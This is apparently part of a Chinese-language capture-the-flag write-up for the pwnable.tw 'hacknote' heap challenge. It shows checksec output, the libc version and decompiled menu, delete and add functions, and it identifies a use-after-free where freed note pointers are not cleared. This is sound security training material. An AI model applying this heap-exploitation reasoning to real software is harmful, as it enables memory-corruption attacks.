hacknote haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec hacknote [*] '/mnt/d/pwnable_tw/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ strings ./hacknote_libc.so.6 | grep ubuntu GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al. <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
一道32位题目,给了libc文件,先patchelf一下,放入ida中进行分析
void __noreturn main() { int n2; // eax char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v2; // [esp+Ch] [ebp-Ch] v2 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 4u); n2 = atoi(buf); if ( n2 != 2 ) break; Delete(); } if ( n2 > 2 ) { if ( n2 == 3 ) { Print(); } else { if ( n2 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( n2 != 1 ) goto LABEL_13; Add(); } } }
一道典型的堆菜单题目,有申请、删除、输出三个功能,看一下delete函数
unsigned int Delete() { int n5; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); n5 = atoi(buf); if ( n5 < 0 || n5 >= ::n5 ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr + n5) ) { free(*((void **)*(&ptr + n5) + 1)); free(*(&ptr + n5)); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
只是free了,并没有将指针置空,存在UAF漏洞可以利用,再看一下申请的代码
unsigned int Add() { int v0; // ebx int n4; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf[8]; // [esp+14h] [ebp-14h] BYREF unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( n5 <= 5 ) { for ( n4 = 0; n4 <= 4; ++n4 ) { if ( !*(&ptr + n4) ) { *(&ptr + n4) = malloc(8u); if ( !*(&ptr + n4) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(&ptr + n4) = puts_w; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = (int)*(&ptr + n4); *(_DWORD *)(v0 + 4) = malloc(size); if ( !*((_DWORD *)*(&ptr + n4) + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(&ptr + n4) + 1), size); puts("Success !"); ++n5; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }